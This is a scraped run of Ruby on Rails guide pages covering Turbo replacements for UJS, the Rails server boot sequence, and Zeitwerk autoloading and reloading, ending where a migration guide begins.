To broadcast a Turbo Stream from a model combine a model callback like this:

  class Post < ApplicationRecord
  after_create_commit { broadcast_append_to('posts') }
end

With a WebSocket connection set up on the page that should receive the updates like this:

  <%= turbo_stream_from "posts" %>

5 Replacements for Rails/UJS Functionality

Rails 6 shipped with a tool called UJS that allows developers to override the method of <a> tags to perform non-GET requests after a hyperlink click and to add confirmation dialogs before executing an action. This was the default before Rails 7, but it is now recommended to use Turbo instead.

5.1 Method

Clicking links always results in an HTTP GET request. If your application is RESTful, some links are in fact actions that change data on the server, and should be performed with non-GET requests. This attribute allows marking up such links with an explicit method such as "post", "put", or "delete".

Turbo will scan <a> tags in your application for the turbo-method data attribute and use the specified method when present, overriding the default GET action.

For example:

  <%= link_to "Delete post", post_path(post), data: { turbo_method: "delete" } %>

This generates:

  <a data-turbo-method="delete" href="...">Delete post</a>

An alternative to changing the method of a link with data-turbo-method is to use Rails button_to helper. For accessibility reasons, actual buttons and forms are preferable for any non-GET action.

5.2 Confirmations

You can ask for an extra confirmation from the user by adding a data-turbo-confirm attribute on links and forms. On link click or form submit, the user will be presented with a JavaScript confirm() dialog containing the attribute's text. If the user chooses to cancel, the action doesn't take place.

For example, with the link_to helper:

  <%= link_to "Delete post", post_path(post), data: { turbo_method: "delete", turbo_confirm: "Are you sure?" } %>

Which generates:

  <a href="..." data-turbo-confirm="Are you sure?" data-turbo-method="delete">Delete post</a>

When the user clicks on the "Delete post" link, they will be presented with an "Are you sure?" confirmation dialog.

The attribute can also be used with the button_to helper, however it must be added to the form that the button_to helper renders internally:

  <%= button_to "Delete post', post, method: :delete, form: { data: { turbo_confirm: "Are you sure?" } } %>

The Rails Initialization Process

This guide explains the internals of the initialization process in Rails. It is an extremely in-depth guide and recommended for advanced Rails developers.

After reading this guide, you will know:

How to use bin/rails server.

The timeline of Rails' initialization sequence.

Where different files are required by the boot sequence.

How the Rails::Server interface is defined and used.

Chapters

Launch!

bin/rails

config/boot.rb

rails/commands.rb

rails/command.rb

actionpack/lib/action_dispatch.rb

rails/commands/server/server_command.rb

Rack: lib/rack/server.rb

config/application

Rails::Server#start

config/environment.rb

config/application.rb

Loading Rails

railties/lib/rails/all.rb

Back to config/environment.rb

railties/lib/rails/application.rb

Rack: lib/rack/server.rb

This guide goes through every method call that is required to boot up the Ruby on Rails stack for a default Rails application, explaining each part in detail along the way. For this guide, we will be focusing on what happens when you execute bin/rails server to boot your app.

Paths in this guide are relative to Rails or a Rails application unless otherwise specified.

If you want to follow along while browsing the Rails source code, we recommend that you use the t key binding to open the file finder inside GitHub and find files quickly.

1 Launch!

Let's start to boot and initialize the app. A Rails application is usually started by running bin/rails console or bin/rails server.

1.1 bin/rails

This file is as follows:

  #!/usr/bin/env ruby
APP_PATH = File.expand_path('../config/application', __dir__)
require_relative "../config/boot"
require "rails/commands"

The APP_PATH constant will be used later in rails/commands. The config/boot file referenced here is the config/boot.rb file in our application which is responsible for loading Bundler and setting it up.

1.2 config/boot.rb

config/boot.rb contains:

  ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../Gemfile', __dir__)

require "bundler/setup" # Set up gems listed in the Gemfile.

In a standard Rails application, there's a Gemfile which declares all dependencies of the application. config/boot.rb sets ENV['BUNDLE_GEMFILE'] to the location of this file. If the Gemfile exists, then bundler/setup is required. The require is used by Bundler to configure the load path for your Gemfile's dependencies.

1.3 rails/commands.rb

Once config/boot.rb has finished, the next file that is required is rails/commands, which helps in expanding aliases. In the current case, the ARGV array simply contains server which will be passed over:

  require "rails/command"

aliases = {
  "g"  => "generate",
  "d"  => "destroy",
  "c"  => "console",
  "s"  => "server",
  "db" => "dbconsole",
  "r"  => "runner",
  "t"  => "test"
}

command = ARGV.shift
command = aliases[command] || command

Rails::Command.invoke command, ARGV

If we had used s rather than server, Rails would have used the aliases defined here to find the matching command.

1.4 rails/command.rb

When one types a Rails command, invoke tries to lookup a command for the given namespace and executes the command if found.

If Rails doesn't recognize the command, it hands the reins over to Rake to run a task of the same name.

As shown, Rails::Command displays the help output automatically if the namespace is empty.

  module Rails
  module Command
    class << self
      def invoke(full_namespace, args = [], **config)
        namespace = full_namespace = full_namespace.to_s

        if char = namespace =~ /:(\w+)$/
          command_name, namespace = $1, namespace.slice(0, char)
        else
          command_name = namespace
        end

        command_name, namespace = "help", "help" if command_name.blank? || HELP_MAPPINGS.include?(command_name)
        command_name, namespace = "version", "version" if %w( -v --version ).include?(command_name)

        command = find_by_namespace(namespace, command_name)
        if command && command.all_commands[command_name]
          command.perform(command_name, args, config)
        else
          find_by_namespace("rake").perform(full_namespace, args, config)
        end
      end
    end
  end
end

With the server command, Rails will further run the following code:

  module Rails
  module Command
    class ServerCommand < Base # :nodoc:
      def perform
        extract_environment_option_from_argument
        set_application_directory!
        prepare_restart

        Rails::Server.new(server_options).tap do |server|
          # Require application after server sets environment to propagate
          # the --environment option.
          require APP_PATH
          Dir.chdir(Rails.application.root)

          if server.serveable?
            print_boot_information(server.server, server.served_url)
            after_stop_callback = -> { say "Exiting" unless options[:daemon] }
            server.start(after_stop_callback)
          else
            say rack_server_suggestion(using)
          end
        end
      end
    end
  end
end

This file will change into the Rails root directory (a path two directories up from APP_PATH which points at config/application.rb), but only if the config.ru file isn't found. This then starts up the Rails::Server class.

1.5 actionpack/lib/action_dispatch.rb

Action Dispatch is the routing component of the Rails framework. It adds functionality like routing, session, and common middlewares.

1.6 rails/commands/server/server_command.rb

The Rails::Server class is defined in this file by inheriting from Rack::Server. When Rails::Server.new is called, this calls the initialize method in rails/commands/server/server_command.rb:

  module Rails
  class Server < ::Rack::Server
    def initialize(options = nil)
      @default_options = options || {}
      super(@default_options)
      set_environment
    end
  end
end

Firstly, super is called which calls the initialize method on Rack::Server.

1.7 Rack: lib/rack/server.rb

Rack::Server is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.

The initialize method in Rack::Server simply sets several variables:

  module Rack
  class Server
    def initialize(options = nil)
      @ignore_options = []

      if options
        @use_default_options = false
        @options = options
        @app = options[:app] if options[:app]
      else
        argv = defined?(SPEC_ARGV) ? SPEC_ARGV : ARGV
        @use_default_options = true
        @options = parse_options(argv)
      end
    end
  end
end

In this case, return value of Rails::Command::ServerCommand#server_options will be assigned to options. When lines inside if statement is evaluated, a couple of instance variables will be set.

server_options method in Rails::Command::ServerCommand is defined as follows:

  module Rails
  module Command
    class ServerCommand
      no_commands do
        def server_options
          {
            user_supplied_options: user_supplied_options,
            server:                using,
            log_stdout:            log_to_stdout?,
            Port:                  port,
            Host:                  host,
            DoNotReverseLookup:    true,
            config:                options[:config],
            environment:           environment,
            daemonize:             options[:daemon],
            pid:                   pid,
            caching:               options[:dev_caching],
            restart_cmd:           restart_command,
            early_hints:           early_hints
          }
        end
      end
    end
  end
end

The value will be assigned to instance variable @options.

After super has finished in Rack::Server, we jump back to rails/commands/server/server_command.rb. At this point, set_environment is called within the context of the Rails::Server object.

  module Rails
  module Server
    def set_environment
      ENV["RAILS_ENV"] ||= options[:environment]
    end
  end
end

After initialize has finished, we jump back into the server command where APP_PATH (which was set earlier) is required.

1.8 config/application

When require APP_PATH is executed, config/application.rb is loaded (recall that APP_PATH is defined in bin/rails). This file exists in your application and it's free for you to change based on your needs.

1.9 Rails::Server#start

After config/application is loaded, server.start is called. This method is defined like this:

  module Rails
  class Server < ::Rack::Server
    def start(after_stop_callback = nil)
      trap(:INT) { exit }
      create_tmp_directories
      setup_dev_caching
      log_to_stdout if options[:log_stdout]

      super()
      # ...
    end

    private
      def setup_dev_caching
        if options[:environment] == "development"
          Rails::DevCaching.enable_by_argument(options[:caching])
        end
      end

      def create_tmp_directories
        %w(cache pids sockets).each do |dir_to_make|
          FileUtils.mkdir_p(File.join(Rails.root, "tmp", dir_to_make))
        end
      end

      def log_to_stdout
        wrapped_app # touch the app so the logger is set up

        console = ActiveSupport::Logger.new(STDOUT)
        console.formatter = Rails.logger.formatter
        console.level = Rails.logger.level

        unless ActiveSupport::Logger.logger_outputs_to?(Rails.logger, STDOUT)
          Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
        end
      end
  end
end

This method creates a trap for INT signals, so if you CTRL-C the server, it will exit the process. As we can see from the code here, it will create the tmp/cache, tmp/pids, and tmp/sockets directories. It then enables caching in development if bin/rails server is called with --dev-caching. Finally, it calls wrapped_app which is responsible for creating the Rack app, before creating and assigning an instance of ActiveSupport::Logger.

The super method will call Rack::Server.start which begins its definition as follows:

  module Rack
  class Server
    def start &blk
      if options[:warn]
        $-w = true
      end

      if includes = options[:include]
        $LOAD_PATH.unshift(*includes)
      end

      if library = options[:require]
        require library
      end

      if options[:debug]
        $DEBUG = true
        require "pp"
        p options[:server]
        pp wrapped_app
        pp app
      end

      check_pid! if options[:pid]

      # Touch the wrapped app, so that the config.ru is loaded before
      # daemonization (i.e. before chdir, etc).
      handle_profiling(options[:heapfile], options[:profile_mode], options[:profile_file]) do
        wrapped_app
      end

      daemonize_app if options[:daemonize]

      write_pid if options[:pid]

      trap(:INT) do
        if server.respond_to?(:shutdown)
          server.shutdown
        else
          exit
        end
      end

      server.run wrapped_app, options, &blk
    end
  end
end

The interesting part for a Rails app is the last line, server.run. Here we encounter the wrapped_app method again, which this time we're going to explore more (even though it was executed before, and thus memoized by now).

  module Rack
  class Server
    def wrapped_app
      @wrapped_app ||= build_app app
    end
  end
end

The app method here is defined like so:

  module Rack
  class Server
    def app
      @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
    end

    # ...

    private
      def build_app_and_options_from_config
        if !::File.exist? options[:config]
          abort "configuration #{options[:config]} not found"
        end

        app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
        @options.merge!(options) { |key, old, new| old }
        app
      end

      def build_app_from_string
        Rack::Builder.new_from_string(self.options[:builder])
      end

  end
end

The options[:config] value defaults to config.ru which contains this:

  # This file is used by Rack-based servers to start the application.

require_relative "config/environment"

run Rails.application

The Rack::Builder.parse_file method here takes the content from this config.ru file and parses it using this code:

  module Rack
  class Builder
    def self.load_file(path, opts = Server::Options.new)
      # ...
      app = new_from_string cfgfile, config
      # ...
    end

    # ...

    def self.new_from_string(builder_script, file="(rackup)")
      eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
        TOPLEVEL_BINDING, file, 0
    end
  end
end

The initialize method of Rack::Builder will take the block here and execute it within an instance of Rack::Builder. This is where the majority of the initialization process of Rails happens. The require line for config/environment.rb in config.ru is the first to run:

  require_relative "config/environment"

1.10 config/environment.rb

This file is the common file required by config.ru (bin/rails server) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.

This file begins with requiring config/application.rb:

  require_relative "application"

1.11 config/application.rb

This file requires config/boot.rb:

  require_relative "boot"

But only if it hasn't been required before, which would be the case in bin/rails server but wouldn't be the case with Passenger.

Then the fun begins!

2 Loading Rails

The next line in config/application.rb is:

  require "rails/all"

2.1 railties/lib/rails/all.rb

This file is responsible for requiring all the individual frameworks of Rails:

  require "rails"

%w(
  active_record/railtie
  active_storage/engine
  action_controller/railtie
  action_view/railtie
  action_mailer/railtie
  active_job/railtie
  action_cable/engine
  action_mailbox/engine
  action_text/engine
  rails/test_unit/railtie
).each do |railtie|
  begin
    require railtie
  rescue LoadError
  end
end

This is where all the Rails frameworks are loaded and thus made available to the application. We won't go into detail of what happens inside each of those frameworks, but you're encouraged to try and explore them on your own.

For now, just keep in mind that common functionality like Rails engines, I18n and Rails configuration are all being defined here.

2.2 Back to config/environment.rb

The rest of config/application.rb defines the configuration for the Rails::Application which will be used once the application is fully initialized. When config/application.rb has finished loading Rails and defined the application namespace, we go back to config/environment.rb. Here, the application is initialized with Rails.application.initialize!, which is defined in rails/application.rb.

2.3 railties/lib/rails/application.rb

The initialize! method looks like this:

  def initialize!(group = :default) # :nodoc:
  raise "Application has been already initialized." if @initialized
  run_initializers(group, self)
  @initialized = true
  self
end

You can only initialize an app once. The Railtie initializers are run through the run_initializers method which is defined in railties/lib/rails/initializable.rb:

  def run_initializers(group = :default, *args)
  return if instance_variable_defined?(:@ran)
  initializers.tsort_each do |initializer|
    initializer.run(*args) if initializer.belongs_to?(group)
  end
  @ran = true
end

The run_initializers code itself is tricky. What Rails is doing here is traversing all the class ancestors looking for those that respond to an initializers method. It then sorts the ancestors by name, and runs them. For example, the Engine class will make all the engines available by providing an initializers method on them.

The Rails::Application class, as defined in railties/lib/rails/application.rb defines bootstrap, railtie, and finisher initializers. The bootstrap initializers prepare the application (like initializing the logger) while the finisher initializers (like building the middleware stack) are run last. The railtie initializers are the initializers which have been defined on the Rails::Application itself and are run between the bootstrap and finishers.

Note: Do not confuse Railtie initializers overall with the load_config_initializers initializer instance or its associated config initializers in config/initializers.

After this is done we go back to Rack::Server.

2.4 Rack: lib/rack/server.rb

Last time we left when the app method was being defined:

  module Rack
  class Server
    def app
      @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
    end

    # ...

    private
      def build_app_and_options_from_config
        if !::File.exist? options[:config]
          abort "configuration #{options[:config]} not found"
        end

        app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
        @options.merge!(options) { |key, old, new| old }
        app
      end

      def build_app_from_string
        Rack::Builder.new_from_string(self.options[:builder])
      end

  end
end

At this point app is the Rails app itself (a middleware), and what happens next is Rack will call all the provided middlewares:

  module Rack
  class Server
    private
      def build_app(app)
        middleware[options[:environment]].reverse_each do |middleware|
          middleware = middleware.call(self) if middleware.respond_to?(:call)
          next unless middleware
          klass, *args = middleware
          app = klass.new(app, *args)
        end
        app
      end
  end
end

Remember, build_app was called (by wrapped_app) in the last line of Rack::Server#start. Here's how it looked like when we left:

  server.run wrapped_app, options, &blk

At this point, the implementation of server.run will depend on the server you're using. For example, if you were using Puma, here's what the run method would look like:

  module Rack
  module Handler
    module Puma
      # ...
      def self.run(app, options = {})
        conf   = self.config(app, options)

        events = options.delete(:Silent) ? ::Puma::Events.strings : ::Puma::Events.stdio

        launcher = ::Puma::Launcher.new(conf, :events => events)

        yield launcher if block_given?
        begin
          launcher.run
        rescue Interrupt
          puts "* Gracefully stopping, waiting for requests to finish"
          launcher.stop
          puts "* Goodbye!"
        end
      end
      # ...
    end
  end
end

We won't dig into the server configuration itself, but this is the last piece of our journey in the Rails initialization process.

This high level overview will help you understand when your code is executed and how, and overall become a better Rails developer. If you still want to know more, the Rails source code itself is probably the best place to go next.

Autoloading and Reloading Constants

This guide documents how autoloading and reloading works in zeitwerk mode.

After reading this guide, you will know:

Related Rails configuration

Project structure

Autoloading, reloading, and eager loading

Single Table Inheritance

And more

Chapters

Introduction

Project Structure

config.autoload_paths

config.autoload_once_paths

$LOAD_PATH

Reloading

Reloading and Stale Objects

Autoloading When the Application Boots

Use Case 1: During Boot, Load Reloadable Code

Use Case 2: During Boot, Load Code that Remains Cached

Use Case 3: Configure Application Classes for Engines

Eager Loading

Single Table Inheritance

Customizing Inflections

Where Should Inflection Customization Go?

Autoloading and Engines

Testing

Manual Testing

Automated Testing

Troubleshooting

Rails.autoloaders

1 Introduction

This guide documents autoloading, reloading, and eager loading in Rails applications.

In a normal Ruby program, dependencies need to be loaded by hand. For example, the following controller uses classes ApplicationController and Post, and normally you'd need to put require calls for them:

  # DO NOT DO THIS.
require "application_controller"
require "post"
# DO NOT DO THIS.

class PostsController < ApplicationController
  def index
    @posts = Post.all
  end
end

This is not the case in Rails applications, where application classes and modules are just available everywhere:

  class PostsController < ApplicationController
  def index
    @posts = Post.all
  end
end

Idiomatic Rails applications only issue require calls to load stuff from their lib directory, the Ruby standard library, Ruby gems, etc. That is, anything that does not belong to their autoload paths, explained below.

To provide this feature, Rails manages a couple of Zeitwerk loaders on your behalf.

2 Project Structure

In a Rails application file names have to match the constants they define, with directories acting as namespaces.

For example, the file app/helpers/users_helper.rb should define UsersHelper and the file app/controllers/admin/payments_controller.rb should define Admin::PaymentsController.

By default, Rails configures Zeitwerk to inflect file names with String#camelize. For example, it expects that app/controllers/users_controller.rb defines the constant UsersController because:

  "users_controller".camelize # => UsersController

The section Customizing Inflections below documents ways to override this default.

Please, check the Zeitwerk documentation for further details.

3 config.autoload_paths

We refer to the list of application directories whose contents are to be autoloaded and (optionally) reloaded as autoload paths. For example, app/models. Such directories represent the root namespace: Object.

Autoload paths are called root directories in Zeitwerk documentation, but we'll stay with "autoload path" in this guide.

Within an autoload path, file names must match the constants they define as documented here.

By default, the autoload paths of an application consist of all the subdirectories of app that exist when the application boots ---except for assets, javascript, and views--- plus the autoload paths of engines it might depend on.

For example, if UsersHelper is implemented in app/helpers/users_helper.rb, the module is autoloadable, you do not need (and should not write) a require call for it:

  $ bin/rails runner 'p UsersHelper'
UsersHelper

Rails adds custom directories under app to the autoload paths automatically. For example, if your application has app/presenters, you don't need to configure anything in order to autoload presenters; it works out of the box.

The array of default autoload paths can be extended by pushing to config.autoload_paths, in config/application.rb or config/environments/*.rb. For example:

  module MyApplication
  class Application < Rails::Application
    config.autoload_paths << "#{root}/extras"
  end
end

Also, engines can push in body of the engine class and in their own config/environments/*.rb.

Please do not mutate ActiveSupport::Dependencies.autoload_paths; the public interface to change autoload paths is config.autoload_paths.

You cannot autoload code in the autoload paths while the application boots. In particular, directly in config/initializers/*.rb. Please check Autoloading when the application boots down below for valid ways to do that.

The autoload paths are managed by the Rails.autoloaders.main autoloader.

4 config.autoload_once_paths

You may want to be able to autoload classes and modules without reloading them. The autoload_once_paths configuration stores code that can be autoloaded, but won't be reloaded.

By default, this collection is empty, but you can extend it pushing to config.autoload_once_paths. You can do so in config/application.rb or config/environments/*.rb. For example:

  module MyApplication
  class Application < Rails::Application
    config.autoload_once_paths << "#{root}/app/serializers"
  end
end

Also, engines can push in body of the engine class and in their own config/environments/*.rb.

If app/serializers is pushed to config.autoload_once_paths, Rails no longer considers this an autoload path, despite being a custom directory under app. This setting overrides that rule.

This is key for classes and modules that are cached in places that survive reloads, like the Rails framework itself.

For example, Active Job serializers are stored inside Active Job:

  # config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer

and Active Job itself is not reloaded when there's a reload, only application and engines code in the autoload paths is.

Making MoneySerializer reloadable would be confusing, because reloading an edited version would have no effect on that class object stored in Active Job. Indeed, if MoneySerializer was reloadable, starting with Rails 7 such initializer would raise a NameError.

Another use case is when engines decorate framework classes:

  initializer "decorate ActionController::Base" do
  ActiveSupport.on_load(:action_controller_base) do
    include MyDecoration
  end
end

There, the module object stored in MyDecoration by the time the initializer runs becomes an ancestor of ActionController::Base, and reloading MyDecoration is pointless, it won't affect that ancestor chain.

Classes and modules from the autoload once paths can be autoloaded in config/initializers. So, with that configuration this works:

  # config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer

Technically, you can autoload classes and modules managed by the once autoloader in any initializer that runs after :bootstrap_hook.

The autoload once paths are managed by Rails.autoloaders.once.

5 $LOAD_PATH

Autoload paths are added to $LOAD_PATH by default. However, Zeitwerk uses absolute file names internally, and your application should not issue require calls for autoloadable files, so those directories are actually not needed there. You can opt out with this flag:

  config.add_autoload_paths_to_load_path = false

That may speed up legitimate require calls a bit since there are fewer lookups. Also, if your application uses Bootsnap, that saves the library from building unnecessary indexes, leading to lower memory usage.

6 Reloading

Rails automatically reloads classes and modules if application files in the autoload paths change.

More precisely, if the web server is running and application files have been modified, Rails unloads all autoloaded constants managed by the main autoloader just before the next request is processed. That way, application classes or modules used during that request will be autoloaded again, thus picking up their current implementation in the file system.

Reloading can be enabled or disabled. The setting that controls this behavior is config.cache_classes, which is false by default in development mode (reloading enabled), and true by default in production mode (reloading disabled).

Rails uses an evented file monitor to detect files changes by default. It can be configured instead to detect file changes by walking the autoload paths. This is controlled by the config.file_watcher setting.

In a Rails console there is no file watcher active regardless of the value of config.cache_classes. This is because, normally, it would be confusing to have code reloaded in the middle of a console session. Similar to an individual request, you generally want a console session to be served by a consistent, non-changing set of application classes and modules.

However, you can force a reload in the console by executing reload!:

  irb(main):001:0> User.object_id
=> 70136277390120
irb(main):002:0> reload!
Reloading...
=> true
irb(main):003:0> User.object_id
=> 70136284426020

As you can see, the class object stored in the User constant is different after reloading.

6.1 Reloading and Stale Objects

It is very important to understand that Ruby does not have a way to truly reload classes and modules in memory, and have that reflected everywhere they are already used. Technically, "unloading" the User class means removing the User constant via Object.send(:remove_const, "User").

For example, check out this Rails console session:

  irb> joe = User.new
irb> reload!
irb> alice = User.new
irb> joe.class == alice.class
=> false

joe is an instance of the original User class. When there is a reload, the User constant then evaluates to a different, reloaded class. alice is an instance of the newly loaded User, but joe is not — his class is stale. You may define joe again, start an IRB subsession, or just launch a new console instead of calling reload!.

Another situation in which you may find this gotcha is subclassing reloadable classes in a place that is not reloaded:

  # lib/vip_user.rb
class VipUser < User
end

if User is reloaded, since VipUser is not, the superclass of VipUser is the original stale class object.

Bottom line: do not cache reloadable classes or modules.

7 Autoloading When the Application Boots

While booting, applications can autoload from the autoload once paths, which are managed by the once autoloader. Please check the section config.autoload_once_paths above.

However, you cannot autoload from the autoload paths, which are managed by the main autoloader. This applies to code in config/initializers as well as application or engines initializers.

Why? Initializers only run once, when the application boots. If you reboot the server, they run again in a new process, but reloading does not reboot the server, and initializers don't run again. Let's see the two main use cases.

7.1 Use Case 1: During Boot, Load Reloadable Code

7.1.1 Autoload on Boot and on Each Reload

Let's imagine ApiGateway is a reloadable class from app/services managed by the main autoloader and you need to configure its endpoint while the application boots:

  # config/initializers/api_gateway_setup.rb
ApiGateway.endpoint = "https://example.com" # NameError

Initializers cannot refer to reloadable constants, you need to wrap that in a to_prepare block, which runs on boot, and after each reload:

  # config/initializers/api_gateway_setup.rb
Rails.application.config.to_prepare do
  ApiGateway.endpoint = "https://example.com" # CORRECT
end

For historical reasons, this callback may run twice. The code it executes must be idempotent.

7.1.2 Autoload on Boot Only

Reloadable classes and modules can be autoloaded in after_initialize blocks too. These run on boot, but do not run again on reload. In some exceptional cases this may be what you want.

Preflight checks are a use case for this:

  # config/initializers/check_admin_presence.rb
Rails.application.config.after_initialize do
  unless Role.where(name: "admin").exists?
    abort "The admin role is not present, please seed the database."
  end
end

7.2 Use Case 2: During Boot, Load Code that Remains Cached

Some configurations take a class or module object, and they store it in a place that is not reloaded. It is important that these are not reloadable, because edits would not be reflected in those cached stale objects.

One example is middleware:

  config.middleware.use MyApp::Middleware::Foo

When you reload, the middleware stack is not affected, so it would be confusing that MyApp::Middleware::Foo is reloadable. Changes in its implementation would have no effect.

Another example is Active Job serializers:

  # config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer

Whatever MoneySerializer evaluates to during initialization gets pushed to the custom serializers, and that object stays there on reloads.

Yet another example are railties or engines decorating framework classes by including modules. For instance, turbo-rails decorates ActiveRecord::Base this way:

  initializer "turbo.broadcastable" do
  ActiveSupport.on_load(:active_record) do
    include Turbo::Broadcastable
  end
end

That adds a module object to the ancestor chain of ActiveRecord::Base. Changes in Turbo::Broadcastable would have no effect if reloaded, the ancestor chain would still have the original one.

Corollary: Those classes or modules cannot be reloadable.

The easiest way to refer to those classes or modules during boot is to have them defined in a directory which does not belong to the autoload paths. For instance, lib is an idiomatic choice. It does not belong to the autoload paths by default, but it does belong to $LOAD_PATH. Just perform a regular require to load it.

As noted above, another option is to have the directory that defines them in the autoload once paths and autoload. Please check the section about config.autoload_once_paths for details.

7.3 Use Case 3: Configure Application Classes for Engines

Let's suppose an engine works with the reloadable application class that models users, and has a configuration point for it:

  # config/initializers/my_engine.rb
MyEngine.configure do |config|
  config.user_model = User # NameError
end

In order to play well with reloadable application code, the engine instead needs applications to configure the name of that class:

  # config/initializers/my_engine.rb
MyEngine.configure do |config|
  config.user_model = "User" # OK
end

Then, at run time, config.user_model.constantize gives you the current class object.

8 Eager Loading

In production-like environments it is generally better to load all the application code when the application boots. Eager loading puts everything in memory ready to serve requests right away, and it is also CoW-friendly.

Eager loading is controlled by the flag config.eager_load, which is disabled by default in all environments except production. When a Rake task gets executed, config.eager_load is overridden by config.rake_eager_load, which is false by default. So, by default, in production environments Rake tasks do not eager load the application.

The order in which files are eager-loaded is undefined.

During eager loading, Rails invokes Zeitwerk::Loader.eager_load_all. That ensures all gem dependencies managed by Zeitwerk are eager-loaded too.

9 Single Table Inheritance

Single Table Inheritance is a feature that doesn't play well with lazy loading. The reason is that its API generally needs to be able to enumerate the STI hierarchy to work correctly, whereas lazy loading defers loading classes until they are referenced. You can't enumerate what you haven't referenced yet.

In a sense, applications need to eager load STI hierarchies regardless of the loading mode.

Of course, if the application eager loads on boot, that is already accomplished. When it does not, it is in practice enough to instantiate the existing types in the database, which in development or test modes is usually fine. One way to do that is to include an STI preloading module in your lib directory:

  module StiPreload
  unless Rails.application.config.eager_load
    extend ActiveSupport::Concern

    included do
      cattr_accessor :preloaded, instance_accessor: false
    end

    class_methods do
      def descendants
        preload_sti unless preloaded
        super
      end

      # Constantizes all types present in the database. There might be more on
      # disk, but that does not matter in practice as far as the STI API is
      # concerned.
      #
      # Assumes store_full_sti_class is true, the default.
      def preload_sti
        types_in_db = \
          base_class.
            unscoped.
            select(inheritance_column).
            distinct.
            pluck(inheritance_column).
            compact

        types_in_db.each do |type|
          logger.debug("Preloading STI type #{type}")
          type.constantize
        end

        self.preloaded = true
      end
    end
  end
end

and then include it in the STI root classes of your project:

  # app/models/shape.rb
require "sti_preload"

class Shape < ApplicationRecord
  include StiPreload # Only in the root class.
end

  # app/models/polygon.rb
class Polygon < Shape
end

  # app/models/triangle.rb
class Triangle < Polygon
end

10 Customizing Inflections

By default, Rails uses String#camelize to know which constant a given file or directory name should define. For example, posts_controller.rb should define PostsController because that is what "posts_controller".camelize returns.

It could be the case that some particular file or directory name does not get inflected as you want. For instance, html_parser.rb is expected to define HtmlParser by default. What if you prefer the class to be HTMLParser? There are a few ways to customize this.

The easiest way is to define acronyms:

  ActiveSupport::Inflector.inflections(:en) do |inflect|
  inflect.acronym "HTML"
  inflect.acronym "SSL"
end

Doing so affects how Active Support inflects globally. That may be fine in some applications, but you can also customize how to camelize individual basenames independently from Active Support by passing a collection of overrides to the default inflectors:

  Rails.autoloaders.each do |autoloader|
  autoloader.inflector.inflect(
    "html_parser" => "HTMLParser",
    "ssl_error"   => "SSLError"
  )
end

That technique still depends on String#camelize, though, because that is what the default inflectors use as fallback. If you instead prefer not to depend on Active Support inflections at all and have absolute control over inflections, configure the inflectors to be instances of Zeitwerk::Inflector:

  Rails.autoloaders.each do |autoloader|
  autoloader.inflector = Zeitwerk::Inflector.new
  autoloader.inflector.inflect(
    "html_parser" => "HTMLParser",
    "ssl_error"   => "SSLError"
  )
end

There is no global configuration that can affect said instances; they are deterministic.

You can even define a custom inflector for full flexibility. Please check the Zeitwerk documentation for further details.

10.1 Where Should Inflection Customization Go?

If an application does not use the once autoloader, the snippets above can go in config/initializers. For example, config/initializers/inflections.rb for the Active Support use case, or config/initializers/zeitwerk.rb for the other ones.

Applications using the once autoloader have to move or load this configuration from the body of the application class in config/application.rb, because the once autoloader uses the inflector early in the boot process.

11 Autoloading and Engines

Engines run in the context of a parent application, and their code is autoloaded, reloaded, and eager loaded by the parent application. If the application runs in zeitwerk mode, the engine code is loaded by zeitwerk mode. If the application runs in classic mode, the engine code is loaded by classic mode.

When Rails boots, engine directories are added to the autoload paths, and from the point of view of the autoloader, there's no difference. Autoloaders' main inputs are the autoload paths, and whether they belong to the application source tree or to some engine source tree is irrelevant.

For example, this application uses Devise:

  % bin/rails runner 'pp ActiveSupport::Dependencies.autoload_paths'
[".../app/controllers",
 ".../app/controllers/concerns",
 ".../app/helpers",
 ".../app/models",
 ".../app/models/concerns",
 ".../gems/devise-4.8.0/app/controllers",
 ".../gems/devise-4.8.0/app/helpers",
 ".../gems/devise-4.8.0/app/mailers"]

If the engine controls the autoloading mode of its parent application, the engine can be written as usual.

However, if an engine supports Rails 6 or Rails 6.1 and does not control its parent applications, it has to be ready to run under either classic or zeitwerk mode. Things to take into account:

If classic mode would need a require_dependency call to ensure some constant is loaded at some point, write it. While zeitwerk would not need it, it won't hurt, it will work in zeitwerk mode too.

classic mode underscores constant names ("User" -> "user.rb"), and zeitwerk mode camelizes file names ("user.rb" -> "User"). They coincide in most cases, but they don't if there are series of consecutive uppercase letters as in "HTMLParser". The easiest way to be compatible is to avoid such names. In this case, pick "HtmlParser".

In classic mode, the file app/model/concerns/foo.rb is allowed to define both Foo and Concerns::Foo. In zeitwerk mode, there's only one option: it has to define Foo. In order to be compatible, define Foo.

12 Testing

12.1 Manual Testing

The task zeitwerk:check checks if the project tree follows the expected naming conventions and it is handy for manual checks. For example, if you're migrating from classic to zeitwerk mode, or if you're fixing something:

  % bin/rails zeitwerk:check
Hold on, I am eager loading the application.
All is good!

There can be additional output depending on the application configuration, but the last "All is good!" is what you are looking for.

12.2 Automated Testing

It is a good practice to verify in the test suite that the project eager loads correctly.

That covers Zeitwerk naming compliance and other possible error conditions. Please check the section about testing eager loading in the Testing Rails Applications guide.

13 Troubleshooting

The best way to follow what the loaders are doing is to inspect their activity.

The easiest way to do that is to include:

  Rails.autoloaders.log!

in config/application.rb after loading the framework defaults. That will print traces to standard output.

If you prefer logging to a file, configure this instead:

  Rails.autoloaders.logger = Logger.new("#{Rails.root}/log/autoloading.log")

The Rails logger is not yet available when config/application.rb executes. If you prefer to use the Rails logger, configure this setting in an initializer instead:

  # config/initializers/log_autoloaders.rb
Rails.autoloaders.logger = Rails.logger

14 Rails.autoloaders

The Zeitwerk instances managing your application are available at:

  Rails.autoloaders.main
Rails.autoloaders.once

The predicate:

  Rails.autoloaders.zeitwerk_enabled?

is still available in Rails 7 applications, and returns true.

Classic to Zeitwerk HOWTO

This guide documents how to migrate Rails applications from classic to zeitwerk mode.

After reading this guide, you will know:

